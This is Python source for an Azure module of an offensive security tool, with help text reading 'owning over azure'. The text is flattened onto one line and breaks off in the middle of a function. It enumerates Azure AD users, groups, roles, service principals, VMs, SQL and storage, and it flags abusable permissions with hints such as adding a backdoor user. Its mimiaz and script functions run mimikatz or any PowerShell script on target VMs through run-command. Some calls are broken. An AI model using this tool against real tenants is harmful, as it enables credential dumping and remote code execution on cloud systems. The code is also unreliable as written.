class az(connection): def __init__(self, args, db, host): self.db = db self.args = args self.az_cli = None self.username = '' self.domain = '' self.username_full = '' self.windows = False self.decoder = 'utf-8' if args.config: self.config1() else: self.proto_flow() @staticmethod def proto_args(parser, std_parser, module_parser): azure_parser = parser.add_parser('az', help="owning over azure", parents=[std_parser, module_parser]) azure_parser.add_argument('--full', action='store_true', help='Display full json output for azure commands') azure_parser.add_argument('--save', action='store_true', help='Saves just usernames to a file in current directory when doing user enum') configgroup = azure_parser.add_argument_group("Configure Azure CLI", "Configure the Azure Connection") configgroup.add_argument('--config', action='store_true', help='Setup or re-bind azure connection') #commandgroup = azure_parser.add_argument_group("Command Execution", "Options for executing commands") #commandgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") enumgroup = azure_parser.add_argument_group("Enumeration", "Azure AD Enumeration Commands") enumgroup.add_argument('--user', nargs='?', const='', metavar='USER', help='Enumerate and return all info about a user') enumgroup.add_argument('--users', action='store_true', help='Enumerate and return all users') enumgroup.add_argument('--group', nargs='?', const='', metavar='GROUP', help='Enumerate and return all members of a group') enumgroup.add_argument('--groups', action='store_true', help='Enumerate and return all groups') enumgroup.add_argument('--usergroups', nargs='?', const='', metavar='USERSGROUPS', help='Enumerate and return all groups a user is a member of') enumgroup.add_argument('--whoami', action='store_true', help='Show information about current identity') privgroup = azure_parser.add_argument_group("Privilege Checks", "Get Privs and identify PrivEsc") privgroup.add_argument('--suggest', action='store_true', help='Check for potentially abusable permissions') privgroup.add_argument('--privs', nargs='?', const='', metavar='USER', help='Check current users privileges') resourcegroup = azure_parser.add_argument_group("Resource Checks", "Interact with resources") resourcegroup.add_argument('--rgroups', action='store_true', help='List all Resource Groups for current subscription') sqlgroup = azure_parser.add_argument_group("SQL Commands", "Interact with SQL Servers and DBs") sqlgroup.add_argument('--sql-list', action='store_true', help='List all SQL Servers for current subscription') sqlgroup.add_argument('--sql-db-list', nargs='?', const='', metavar='USER', help='List all SQL DBs for current subscription') storagegroup = azure_parser.add_argument_group("Storage Commands", "Interact with Storage") storagegroup.add_argument('--storage-list', action='store_true', help='List all Storage for current subscription') vmgroup = azure_parser.add_argument_group("VM Checks", "Interact with VMs and VM Scale Sets") vmgroup.add_argument('--vm-list', nargs='?', const='', metavar='TARGET_VM', help='List all VMs for current subscription or target resource group') vmgroup.add_argument('--vmss-list', nargs='?', const='', metavar='TARGET_VMSS', help='List all VM Scale Sets for current subscription or target resource group') scriptgroup = azure_parser.add_argument_group("Script Execution", "Execute Scripts on Azure VMs") scriptgroup.add_argument('--mimiaz', action='store_true', help='Execute mimikats on a target VM') scriptgroup.add_argument('--script', nargs=1, metavar='Full_PATH_TO_SCRIPT', help='Execute Script on a target VM. Use full path to script') scriptgroup.add_argument('--vm', nargs=1, metavar='TARGET_VM', help='Used to specify target for Script Execution') scriptgroup.add_argument('--rg', nargs=1, metavar='RESOURCEGROUP',help='Used to specify target resource group for Script Execution') spngroup = azure_parser.add_argument_group("SPN Checks", "Interact with Service Principals") spngroup.add_argument('--spn-list', action='store_true', help='List all SPNs for current subscription') spngroup.add_argument('--spn-owner-list', action='store_true', help='List all SPNs for current subscription') spngroup.add_argument('--spn-mine', action='store_true', help='List all SPNs owned by current user') spngroup.add_argument('--spn', nargs='?', const='', metavar='OBJECTID', help='List all SPNs for current subscription') appgroup = azure_parser.add_argument_group("App Checks", "Interact with Apps") appgroup.add_argument('--app-list', action='store_true', help='List all Apps for current subscription') return parser def proto_flow(self): self.proto_logger() if self.test_connection(): self.call_cmd_args() def proto_logger(self): if os.name == 'nt': self.windows = True self.decoder = 'cp1252' self.logger = CMXLogAdapter(extra={'protocol': 'AZURE', 'host': self.username, 'port': self.domain, 'hostname': 'CLI'}) def test_connection(self): if os.name == 'nt': self.windows = True self.decoder = 'cp1252' if not cfg.AZ_CONFIG_PATH.is_file(): self.logger.error('Azure connection has not been configured.') self.logger.error('Run: cmx az 1 --config') return False # Grab our user/domain and re-init logger. # Config should have stored this in the config file. f = open(cfg.AZ_CONFIG_PATH,"r") data = f.read() f.close() self.username = data.split()[0].split('@')[0] self.domain = data.split()[0].split('@')[1] self.username_full = data.split()[0] self.proto_logger() self.az_cli = get_default_cli() return True def config1(self): self.proto_logger() login = subprocess.run(['az','login', '--allow-no-subscriptions'], shell = self.windows, stdout=subprocess.PIPE) user = re.findall('([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)', str(login.stdout)) self.logger.success('Logged in as {}'.format(user[0])) #maybe not working print(" ") subs_resp = subprocess.run(['az','account', 'list', '--query', '[].{SubscriptionName:name, Id:id, TenantId:tenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) roles_resp = subprocess.run(['az','role', 'assignment', 'list', '--all', '--query', "[?principalName=='$User'].{Role:roleDefinitionName,ResoureGroup:resourceGroup}" ], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #Show subs try: subs_resp_json = json.loads(subs_resp.stdout.decode(self.decoder)) #print("subs: {}".format(subs_resp_json)) print("Current user has the following subscriptions:") print("{:<14}{:<22} {}".format('','TenantId','SubscriptionName')) for sub in subs_resp_json: print("{:<36} | {}".format(sub['TenantId'],sub['SubscriptionName'])) except: #self.logger.error("Current user has no subscriptions") pass # Show roles print("") try: roles_resp_json = json.loads(roles_resp.stdout.decode(self.decoder)) print("And the following roles: {}".format(roles_resp_json)) except: self.logger.error("Current user has no roles") pass if not cfg.AZ_PATH.is_dir(): cfg.AZ_PATH.mkdir(parents=True, exist_ok=True) f = open(cfg.AZ_CONFIG_PATH,"w") f.write("{}".format(user[0])) f.close() print('') print(" Azure Services now configured, Go get em tiger") print('') def call_cmd_args(self): for k, v in list(vars(self.args).items()): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: logging.debug('Calling {}()'.format(k)) getattr(self, k)() def execute(self, command): try: result = self.az_cli.invoke(command) return { 'result': result.result, 'error': None } except CLIError as err: return { 'result': None, 'error': err.args } ############################################################################### # ###### ####### # # # # # # # # # # # ## # # # ## ## # # # # # # # # # # # # # # # # # # ##### ##### # # # # # # # # ####### # # # # # # # # # # # # # # # # ## # # # # # # ###### ####### # # ##### # # ############################################################################### ############################################################################### # Network/Domain Enum functions # # This section: # # # # # (fold next line) ############################################################################### def whoami(self): my_user_id = subprocess.run(['az','ad', 'signed-in-user', 'show'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: #my_user_id_json = json.loads(my_user_id.stdout.decode('utf-8')) my_user_id_json = json.loads(my_user_id.stdout.decode(self.decoder)) except: self.logger.error("Have you setup a session? cmx az --config") return self.logger.announce("Getting User Info") if self.args.full: pprint.pprint(my_user_id_json) else: self.logger.highlight("{:>26} {}".format('userPrincipalName: ', my_user_id_json['userPrincipalName'])) self.logger.highlight("{:>26} {}".format('mail: ', my_user_id_json['mail'])) self.logger.highlight("{:>26} {}".format('mailNickname: ', my_user_id_json['mailNickname'])) self.logger.highlight("{:>26} {}".format('TelephoneNumber: ', my_user_id_json['telephoneNumber'])) self.logger.highlight("{:>26} {}".format('objectId: ', my_user_id_json['objectId'])) self.logger.highlight("{:>26} {}".format('SID: ', my_user_id_json['onPremisesSecurityIdentifier'])) self.logger.highlight("{:>26} {}".format('isCompromised: ', my_user_id_json['isCompromised'])) def user(self): if self.args.user == '': self.logger.announce("No user specified, calling whoami") self.whoami() return user_id = subprocess.run(['az','ad', 'user', 'show', '--id', self.args.user], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return self.db.add_user(user_id_json) plans = [] for plan in user_id_json["assignedPlans"]: plans.append(plan["service"]) self.logger.announce("Getting User Info") if self.args.full: pprint.pprint(user_id_json) else: self.logger.highlight("{:<26} {}".format('userPrincipalName: ', user_id_json['userPrincipalName'])) self.logger.highlight("{:<26} {}".format('mail: ', user_id_json['mail'])) self.logger.highlight("{:<26} {}".format('mailNickname: ', user_id_json['mailNickname'])) self.logger.highlight("{:<26} {}".format('TelephoneNumber: ', user_id_json['telephoneNumber'])) self.logger.highlight("{:<26} {}".format('objectId: ', user_id_json['objectId'])) self.logger.highlight("Plan Memberships: {}".format(plans)) self.logger.highlight("{:<26} {}".format('SID: ', user_id_json['onPremisesSecurityIdentifier'])) self.logger.highlight("{:<26} {}".format('isCompromised: ', user_id_json['isCompromised'])) def usergroups(self): users_groups = subprocess.run(['az','ad', 'user', 'get-member-groups', '--id', self.args.usergroups], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: users_groups_json = json.loads(users_groups.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(users_groups_json) def users(self): self.logger.announce("Getting all users info, this might take a minute") user_id = subprocess.run(['az','ad', 'user', 'list'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return try: for user1 in user_id_json: self.db.add_user(user1) except: self.logger.error("add user error tracebak:") self.logger.error(format_exc()) # Do we save usernames if self.args.save: filename = "{}-users.txt".format(self.domain) savefile = open(filename,"w") if self.args.full: pprint.pprint(user_id_json) else: usercount = 0 for user1 in user_id_json: if user1['isCompromised'] == None: comp = 'No' else: comp = 'Yes' if self.args.save: savefile.write("{}\n".format(user1['mail'])) usercount = usercount + 1 self.logger.highlight("{:<36} id:{} compromised:{} ".format(user1['userPrincipalName'], user1['objectId'], comp)) if self.args.save: savefile.close() self.logger.success("Email addresses saved to: {}".format(filename)) self.logger.success("Total Users Found: {}".format(usercount)) self.logger.success("All user info complete. Check the db for more details") def group(self): if self.args.group == '': self.logger.error('Must provide a group name or objectID') return group_list = subprocess.runsubprocess.run(['az','ad', 'group', 'member', 'list', '--group', self.args.group ], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) def groups(self): group_list = subprocess.runsubprocess.run(['az','ad', 'group', 'list', '--query', '[].{display_name:displayName, description: description, object_id: objectId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) ############################################################################### ###### ###### ### # # ####### ##### ##### # # # # # # # # # # # # # # # # # # # # # # ###### ###### # # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # # ### # ####### ##### ##### ############################################################################### ############################################################################### # # # # ############################################################################### def suggest(self): # Grab user UPN self.logger.announce("Function is a work-in-progress, try running --privs to see current privileges") upn_resp = subprocess.run(['az', 'ad', 'signed-in-user', 'show','--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) upn_json_obj = json.loads(upn_resp.stdout.decode(self.decoder)) upn = upn_json_obj['upn'] logging.debug('upn: {}'.format(upn)) # GetCurrent users roles role_resp = subprocess.run(['az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleDefinitionName:roleDefinitionName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: role_list.append(role["roleDefinitionName"]) if(len(role_list) == 0): self.logger.error("No roles found") return self.logger.success("Found roles for current user!") # Get definitions for each role tmp_list_perms = [] for role in role_list: role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role], shell = self.windows, stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode(self.decoder)) tmp_list_perms.append(role_show_json[0]['permissions'][0]['actions'][0]) all_permissions = [item for sublist in tmp_list_perms for item in sublist] self.check_perms(all_permissions) def check_perms(self, permissions): self.logger.announce("Getting potentially abusable global permissions") for perm in permissions: if("*" in perm): self.logger.highlight("Found permission with * - should investigate: {}".format(perm)) elif("write" in perm): self.logger.highlight(" found permission with write - should investigate: {}".format(perm)) elif("create" in perm): self.logger.highlight(" found permission with create - should investigate: {}".format(perm)) elif("delete" in perm): self.logger.highlight(" found permission with delete - should investigate: {}".format(perm)) self.logger.announce("Checking for specific permissions") for perm in permissions: if("Microsoft.Authorization/*" in perm): self.logger.highlight("Current user has permission to do all authorizations actions to resources - consider RBAC manipulation and adding a backdoor AD user") if("Microsoft.Authorization/*/read" in perm): self.logger.highlight("Current user has permission to read all authorizations - consider running the priv domain enum module") if("Microsoft.Compute/*" in perm): self.logger.highlight("Current user has permission to run all operations for all resource types - consider using the exfil modules") if("Microsoft.Compute/*/read" in perm): self.logger.highlight("Current user has permission to read all compute related resources - consider using the various 'list' modules") if("Microsoft.Support/*" in perm): self.logger.highlight("Current user has permission to issue and submit support tickets") if("Microsoft.Resources/*" in perm): self.logger.highlight("Current user has permission to run all Microsoft.Resources related commands") elif("Microsoft.Resources/deployments/*" in perm): self.logger.highlight("Current user has permission to run all deployment related commands") elif("Microsoft.Resources/deployments/subscriptions/*" in perm): self.logger.highlight("Current user has permission to run all subscription related commands") if("Microsoft.Network/*" in perm): self.logger.highlight("Current user has permission to run all networking related commands - consider running the net modules") elif("Microsoft.Network/networkSecurityGroups/*" in perm): self.logger.highlight("Current user has permission to run all nsg related commands - consider running the nsg backdoor module") elif("Microsoft.Network/networkSecurityGroups/join/action" in perm): self.logger.highlight("Current user has permission to join a network security group ") if("Microsoft.Compute/virtualMachines/*" in perm): self.logger.highlight("Current user has permission to run virtual machine commands - consider running the various vm modules ") elif("Microsoft.Compute/virtualMachines/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight("Current user has permission to run the runCommand virtual machine command - consider running the vm_rce ") if("Microsoft.Compute/virtualMachinesScaleSets/*" in perm): self.logger.highlight("Current user has permission to run virtual machine scale set commands - consider running the various vmss modules ") elif("Microsoft.Compute/virtualMachinesScaleSets/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight("Current user has permission to run the runCommand virtual machine scale set command - consider running the vmss_rce ") if("Microsoft.Storage/*" in perm or "Microsoft.Storage/storageAccounts/*" in perm): self.logger.highlight("Current user has permission to run all storage account commands - consider running the various stg modules ") elif("Microsoft.Storage/storageAccounts/blobServices/containers/*" in perm): self.logger.highlight("Current user has permissions to run all storage account container commands - consider running the various stg modules ") elif("Microsoft.Storage/storageAccounts/listKeys/action" in perm): self.logger.highlight("Current user has permission to read storage account keys - consider running the stg blob scan/download modules ") if("Microsoft.Sql/*" in perm): self.logger.highlight("Current user has permission to run all sql commands - consider running the various sql modules ") elif("Microsoft.Sql/servers/*" in perm): self.logger.highlight("Current user has permission to run all sql server commands - consider running the sql server list or the sql backdoor firewall modules ") elif("Microsoft.Sql/servers/databases/*" in perm): self.logger.highlight("Current user has permission to run all sql database commands - consider running the sql db list ") def privs(self): # Grab user UPN #az ad signed-in-user show #az ad user show --id XXXX logging.debug("Starting privs") if self.args.privs == '': upn_resp = subprocess.run(['az', 'ad', 'signed-in-user', 'show','--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) else: upn_resp = subprocess.run(['az','ad', 'user', 'show', '--id', self.args.privs, '--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: upn_json_obj = json.loads(upn_resp.stdout.decode(self.decoder)) upn = upn_json_obj['upn'] logging.debug("upn {}".format(upn)) except: self.logger.error("Current user has no subscriptions") return # Get target user's roles # az role assignment list --assignee XXX role_resp = subprocess.run(['az', 'role', 'assignment', 'list', '--assignee', upn], shell = self.windows, stdout=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: logging.debug("role found: {}".format(role["roleDefinitionName"])) role_list.append(role["roleDefinitionName"]) if(len(role_list) == 0): self.logger.error("No roles found") return self.logger.success("Roles Found!") if self.args.full: pprint.pprint(role_json_obj) return self.logger.highlight("{:<20} | {}".format(' Role', ' Scope')) for role in role_json_obj: self.logger.highlight("{:<20} | {}".format(role['roleDefinitionName'], role['scope'])) # What do roles mean? self.logger.success("Info about Roles") self.logger.highlight("{:<20} | {}".format(' Role', ' Description')) for role in role_list: #print(role.upper()) #role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions[], dataActions:permissions[].dataActions[], notActions:permissions[].notActions[], notDataActions:permissions[].notDataActions[]}'], shell = self.windows, stdout=subprocess.PIPE) role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role], shell = self.windows, stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode(self.decoder)) for role in role_show_json: self.logger.highlight("{:<20} | {} ".format(role['roleName'], (role['description'][:58] + (role['description'][58:] and '..')) )) ############################################################################### ###### ####### ##### ####### # # ###### ##### ####### # # # # # # # # # # # # # # # # # # # # # # # # # # ###### ##### ##### # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ##### ####### ##### # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def rgroups(self): # az group list --query rgroup = subprocess.run(['az','group', 'list', '--query', '[].{name:name, location: location, id: id}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: rgroup_json = json.loads(rgroup.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(rgroup_json) ############################################################################### ##### ##### # # # # # # # # # # ##### # # # # # # # # # # # # # ##### #### # ####### ############################################################################### ############################################################################### # # # # ############################################################################### def sql_list(self): # Get server list # az sql server list sql_info = subprocess.run(['az', 'sql', 'server', 'list', '--query', '[].{fqdn:fullyQualifiedDomainName, name:name, rgrp: resourceGroup, admin_username:administratorLogin} '], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode(self.decoder)) except: self.logger.error("Current user has no SQL subscriptions") return pprint.pprint(sql_info_json) def sql_db_list(self): # Get server list # az sql server list sql_info = subprocess.run(['az', 'sql', 'server', 'list', '--query', '[].{name:name, rgrp: resourceGroup} '], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode(self.decoder)) except: self.logger.error("Current user has no SQL subscriptions") return servers = [] rgrps = [] for info in sql_info_json: servers.append(info['name']) rgrps.append(info['rgrp']) pprint.pprint(rgroup_json) # Get DBs # az sql db list --server XXX --resource-group XXX for i in range(len(servers)): sql_info = subprocess.run(['az', 'sql', 'db', 'list', '--server', servers[i], '--resource-group', rgrps[i], '--query', '[].{collation:collation, name:name, location:location, dbId:databaseId}'], shell = self.windows, stdout=subprocess.PIPE) sql_info_json = json.loads(sql_info.stdout.decode(self.decoder)) print(servers[i], "\n") pprint.pprint(sql_info_json) ############################################################################### ##### ####### ####### ###### # ##### ####### # # # # # # # # # # # # # # # # # # # # # # ##### # # # ###### # # # #### ##### # # # # # # ####### # # # # # # # # # # # # # # # ##### # ####### # # # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def storage_list(self): # az storage account list stg_list = subprocess.run(['az','storage', 'account', 'list', '--query', '[].{resource_group:resourceGroup, storage_types:primaryEndpoints}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stg_list_json = json.loads(stg_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no Storage subscriptions") return pprint.pprint(stg_list_json) ############################################################################### # # # # # # ## ## # # # # # # # # # # # # # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def vm_list(self): # Get all vms in subscription # az vm list if self.args.vm_list == '': vm_list = subprocess.run(['az','vm', 'list', '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return # az vm list-ip-addresses vm_iplist = subprocess.run(['az','vm', 'list-ip-addresses', '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'], shell = self.windows, stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return else: # Get all vms in specified resource group # az vm list -g XXX vm_list = subprocess.run(['az','vm', 'list', '-g', self.args.vm_list, '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return # az vm list-ip-addresses -g XXX vm_iplist = subprocess.run(['az','vm', 'list-ip-addresses', '-g', self.args.vm_list, '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'], shell = self.windows, stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return #combine vm info for i in range(len(vm_list_json)): vm_list_json[i].update(vm_iplist_json[i]) if self.args.full: pprint.pprint(vm_list_json) return self.logger.highlight("{:<15} {:<10} {:<19} {:<19} {:<19} ".format('Name', 'os', 'privateIp', 'publicIp', 'ResourceGroup')) for vm in vm_list_json: self.logger.highlight("{:<15} | {:<10} | {:<19} | {:<19} | {:<19} ".format(vm['name'], vm['os'], vm['privateIp'][0] if vm['privateIp'] else 'Null', vm['publicIp'][0] if vm['publicIp'] else 'Null', vm['resource_group'], )) # to see if its running, check the output from # az vm get-instance-view --ids /subscriptions/51eae010-e6eb-48e2-8f01-e89b22a86d26/resourceGroups/RESOURCE1/providers/Microsoft.Compute/virtualMachines/test1 #"statuses": [ # { # "code": "ProvisioningState/succeeded", # "displayStatus": "Provisioning succeeded", # "level": "Info", # "message": null, # "time": "2019-12-19T22:49:17.337039+00:00" # }, # { # "code": "PowerState/deallocated", # "displayStatus": "VM deallocated", # "level": "Info", # "message": null, # "time": null # } # ], def vmss_list(self): # Get list of vmss # az vmss list vmss_list = subprocess.run(['az','vmss', 'list', '--query', '[].{name:name, rgrp:resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vmss_list_json = json.loads(vmss_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return for i in range(len(vmss_list_json)): # Get vmss info vmss_list = subprocess.run(['az','vmss', 'list', '--resource-group', vmss_list_json[i]['rgrp'], '--query', '[].{name:name, vmss_size:sku.name, os_distro:virtualMachineProfile.storageProfile.imageReference.offer,os_version:virtualMachineProfile.storageProfile.imageReference.sku, username:virtualMachineProfile.osProfile.adminUsername, rgrp: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE) vmss_list_json = json.loads(vmss_list.stdout.decode(self.decoder)) pprint.pprint(vmss_list_json[i]) # Get vmss IP vmss_iplist = subprocess.run(['az','vmss', 'list-instance-public-ips', '--resource-group', vmss_list_json[i]['rgrp'], '--name', vmss_list_json[i]['name'], '--query', '[].{ipAddress:ipAddress}'], shell = self.windows, stdout=subprocess.PIPE) vmss_iplist_json = json.loads(vmss_iplist.stdout.decode(self.decoder)) pprint.pprint(vmss_iplist_json) ############################################################################### ##### ##### ###### ### ###### ####### # # # # # # # # # # # # # # # # # # ##### # ###### # ###### # # # # # # # # # # # # # # # # # ##### ##### # # ### # # ############################################################################### ############################################################################### # # # # ############################################################################### def mimiaz(self): # testing with just running coffee # need to figure out how we gonna get output back - limited to 4096 this way... if self.args.mimiaz and (self.args.vm is None or self.args.rg is None): self.logger.error("mimiaz requires --vm and --rg.") self.logger.error("Try `cmx az --vm-list` to find values") return mimiaz_path = cfg.PS_PATH / 'mimiaz.ps1' mimiaz_script = '@' + str(mimiaz_path) self.logger.announce("Running mimikatz on {}, please allow at least 30 seconds".format(self.args.vm[0])) commander = subprocess.run(['az','vm', 'run-command', 'invoke', '--command-id', 'RunPowerShellScript', '--name', self.args.vm[0], '-g', self.args.rg[0], '--scripts', mimiaz_script], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: commander_json = json.loads(commander.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return if self.args.full: pprint.pprint(commander_json) else: print(commander_json['value'][0]['message']) def script(self): # need to figure out how we gonna get output back - limited to 4096 this way... if self.args.vm is None or self.args.rg is None: self.logger.error("script execution requires a --vm and --rg.") self.logger.error("Try `cmx az --vm-list` to find values") return if Path(self.args.script[0]).is_file(): script_path = '@' + self.args.script[0] else: self.logger.error("Script not found at {}".format(self.args.script[0])) return self.logger.announce("Running script on {}, please allow at least 30 seconds".format(self.args.vm[0])) commander = subprocess.run(['az','vm', 'run-command', 'invoke', '--command-id', 'RunPowerShellScript', '--name', self.args.vm[0], '-g', self.args.rg[0], '--scripts', script_path], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: commander_json = json.loads(commander.stdout.decode(self.decoder)) except: self.logger.error("Script Execution Failed") return if self.args.full: pprint.pprint(commander_json) else: print(commander_json['value'][0]['message']) ############################################################################### ##### ###### # # # # # # ## # # # # # # # ##### ###### # # # # # # # # # # # # ## ##### # # # ############################################################################### ############################################################################### # # # # ############################################################################### def spn_list(self): # az ad sp list --all spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId, publisherName:publisherName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {:<32} | publisherName".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: if spn['appDisplayName'] and spn['appId']: self.logger.highlight("{:<40} | {} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')), spn['appId'], spn['appOwnerTenantId'], spn['publisherName'])) def spn_owner_list(self): # az ad sp list --all spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {}".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: spn_own_list = subprocess.run(['az','ad', 'sp', 'owner', 'list', '--id', spn['appId']], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_own_list_json = json.loads(spn_own_list.stdout.decode(self.decoder)) except: self.logger.error("Error getting owner list") return print("app:{}".format(spn['appDisplayName'])) pprint.pprint(spn_own_list_json) def spn(self): # az ad sp list --all --query [].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId} spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: decode_fail = True pass # this added try/catch is because windows is F'd try: if decode_fail: spn_list_json = json.loads(spnn_list.stdout.decode('cp1252')) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {}".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: if spn['appDisplayName'] and spn['appId']: self.logger.highlight("{:<40} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')), spn['appId'], spn['appOwnerTenantId'])) def spn_mine(self): # az ad sp list --show-mine spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--show-mine'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--show-mine', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info For Current User") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {}".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: if spn['appDisplayName'] and spn['appId']: self.logger.highlight("{:<40} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')), spn['appId'], spn['appOwnerTenantId'])) ############################################################################### # ###### ###### # # # # # # # # # # # # # # ###### ###### ####### # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def app_list(self): #app_list = subprocess.run(['az','ad', 'app', 'list', '--all', '--query', '[].{DisplayName:displayName, 